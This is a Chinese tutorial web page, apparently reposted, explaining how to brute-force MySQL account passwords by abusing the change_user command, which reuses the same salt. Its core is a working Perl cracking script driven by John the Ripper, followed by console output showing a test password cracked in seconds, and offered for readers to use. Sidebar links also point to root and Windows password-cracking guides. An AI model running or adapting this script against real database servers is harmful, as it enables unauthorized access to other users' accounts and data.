我的编程空间,编程开发者的网络收藏夹
学习永远不晚

MySQL中怎么破解本地和远程密码

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

MySQL中怎么破解本地和远程密码

这篇文章给大家介绍MySQL中怎么破解本地和远程密码,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。


方法如下:
攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。
是什么导致非常慢?
因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。
下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:
测试的用户是 crackme 密码为 pass,只需数秒就可破解。
(大约 20 秒钟可测试 10 万密码)
测试脚本如下:

use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
 hostname => '192.168.2.3',
 database => 'test',
 user     => "user",
 password => "secret",
 debug => 0,
);

$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "",
        $crackuser,
        "\x14".
        Net::MySQL::Password->scramble(
            $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
        ) . "";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
    print "[*] Cracked! --> $currentpass\n";
    exit;
}
}

下面是我这台机器上的执行结果:
C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl 
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5 
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH 
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap 
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3 
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429 
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch241 
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n 
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2 
[*] Cracked! --> pass 
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs 
Session aborted
祝你好远:)
via grok

关于MySQL中怎么破解本地和远程密码就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

MySQL中怎么破解本地和远程密码

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Linux各版本root本地密码破解方法是怎样的

今天就跟大家聊聊有关Linux各版本root本地密码破解方法是怎样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。(一)RedHat/CentOS/Fedora 系统密码破解 1.在
2023-06-10

本地mongodb用户名和密码怎么设置

在本地设置 MongoDB 的用户名和密码,可以按照以下步骤进行操作:1. 打开命令行窗口,并进入 MongoDB 的安装目录的 bin 文件夹。2. 运行以下命令启动 MongoDB 服务:```mongod```3. 新开一个命令行窗口
2023-08-24

git怎么拉取远程代码到本地

要拉取远程代码到本地,可以使用以下命令:首先,在本地创建一个空的目录作为代码仓库,使用git init命令初始化仓库。切换到目标目录,使用cd命令进入目录。使用git clone 命令克隆远程代码到本地。例如,如果远程仓库地
2023-10-20

win7开机密码忘记了该怎么办? win7开机密码破解教程

js随着电脑时代的跨入,我们需要记住的密码有很多,过多的密码让我们容易混淆,win7系统是目前较为普遍应用的电脑操作系统,如果你一不小心忘了电脑的开机密码应该怎么办,现在小编就为大家介绍win7开机密码忘记的办法。Win7忘了开机密码第一种
2023-05-20

vbscript中怎么防止本地用户更改密码

vbscript中怎么防止本地用户更改密码,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。防止用户更改其密码的脚本:复制代码 代码如下:Const ADS_UF_
2023-06-08

在本地和远程怎么删除Git分支

本篇内容介绍了“在本地和远程怎么删除Git分支”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!TL;DR 版本// delete branch
2023-06-26

云服务器怎么远程登录账号和密码

云服务器提供了远程登录和访问服务,使用远程登录可以让您在本地服务器上登录您在云服务器上设置的账号、密码,而无需通过本地客户端或网页。但是,请注意,远程登录需要您的本地服务器支持该功能。如果您的服务器无法提供支持,则需要确保您已经在云服务器上启用了此功能。具体步骤如下:将您的本地计算机连接到您的云服务器。打开您的浏览器,在地址栏中输入https://服务器地址或IP地址。输入登录凭据,例如
2023-10-26

云服务器怎么远程登录账号和密码呢

云服务器提供了远程登录和密码访问的功能,您可以使用以下步骤来远程登录您的帐号和密码:在云服务器网站上找到登录页面,点击登录按钮。输入正确的用户名和密码,然后点击“登录”按钮。如果您的操作系统和浏览器已经安装了云服务商提供的支持工具,并且已启用了SSL证书,则会提示您创建SSL证书。在证书管理面板中,选择您想要使用的SSL证书,并点击“下一步”。选择正确的证书类型和服务器地址,如您的服
2023-10-26

编程热搜

目录